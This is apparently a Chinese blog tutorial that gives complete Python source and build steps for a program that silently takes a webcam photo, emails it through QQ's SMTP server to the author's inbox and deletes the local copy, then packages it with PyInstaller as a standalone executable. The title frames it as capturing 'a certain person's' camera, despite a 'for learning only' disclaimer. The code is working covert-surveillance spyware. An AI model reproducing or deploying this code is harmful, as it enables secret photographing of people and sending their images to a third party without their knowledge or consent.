Python实战项目|引人遐想,用 Python 获取你想要的 “某个人” 摄像头照片
仅用来学习,希望给你们有提供到学习上的作用。
1.安装库 需要安装python3.5以上版本,在官网下载即可。然后安装库opencv-python,安装方式为打开终端输入命令行。
2.更改收件人和发件人为自己邮箱,更改授权码 获取授权码的方法:
- 点击设置
- 点击账户
- 开启pop3/smtp服务
- 验证密保
- 获取到16位授权码
文章图片
第二步:
文章图片
第三步:
文章图片
第四、五步:
文章图片
3.编译成可执行文件 打包方法:
- 先安装
pyinstaller
,在终端中输入pip install pyinstaller
。 - 找路径,用cd法找路径比较麻烦,可以直接在路径框里面输入
cmd
进入终端即可,进入了就是目标路径。
文章图片
打包,输入命令行
pyinstaller --console --onefile 7.py //这里打包的是一个叫7.py的文件
文章图片
在
dist
文件夹里面即可找到可执行文件。文章图片
4.源码与注释
import os# 删除图片文件
import cv2# 调用摄像头拍摄照片
from smtplib import SMTP_SSL# SSL加密的传输协议
from email.mime.text import MIMEText# 构建邮件文本
from email.mime.multipart import MIMEMultipart # 构建邮件体
from email.header import Header# 发送内容
# 调用摄像头拍摄照片
def get_photo():
cap = cv2.VideoCapture(0)# 开启摄像头
f, frame = cap.read()# 将摄像头中的一帧图片数据保存
cv2.imwrite('image.jpg', frame)# 将图片保存为本地文件
cap.release()# 关闭摄像头
# 把图片文件发送到我的邮箱
def send_message():
# 选择QQ邮箱发送照片
host_server = 'smtp.qq.com'# QQ邮箱smtp服务器
pwd = '****************'# 授权码
from_qq_mail = 'QQ@qq.com'# 发件人
to_qq_mail = 'QQ@qq.com'# 收件人
msg = MIMEMultipart()# 创建一封带附件的邮件
msg['Subject'] = Header('摄像头照片', 'UTF-8')# 消息主题
msg['From'] = from_qq_mail# 发件人
msg['To'] = Header("YH", 'UTF-8')# 收件人
msg.attach(MIMEText("照片", 'html', 'UTF-8'))# 添加邮件文本信息
# 加载附件到邮箱中 SSL 方式加密
image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
image["Content-Type"] = 'image/jpeg'# 附件格式为图片的加密数据
msg.attach(image)# 附件添加
# 开始发送邮件
smtp = SMTP_SSL(host_server)# 链接服务器
smtp .login(from_qq_mail, pwd)# 登录邮箱
smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string()) # 发送邮箱
smtp.quit()# 退出
if __name__ == '__main__':
get_photo()# 开启摄像头获取照片
send_message()# 发送照片
os.remove('image.jpg')# 删除本地照片
5.效果如下 最后实验一下,会得到一个bin后缀的附件,把他改成jpg即可查看。
文章图片
感谢看到这里的你,分享到这里结束了,更多Python精彩内容可以关注我看我主页,三连~
推荐阅读
- python学习之|python学习之 实现QQ自动发送消息
- 逻辑回归的理解与python示例
- python自定义封装带颜色的logging模块
- 【Leetcode/Python】001-Two|【Leetcode/Python】001-Two Sum
- Python基础|Python基础 - 练习1
- Python爬虫|Python爬虫 --- 1.4 正则表达式(re库)
- Python(pathlib模块)
- python青少年编程比赛_第十一届蓝桥杯大赛青少年创意编程组比赛细则
- Python数据分析(一)(Matplotlib使用)
- 17|17 关山松 第二课作业#公众号项目# D20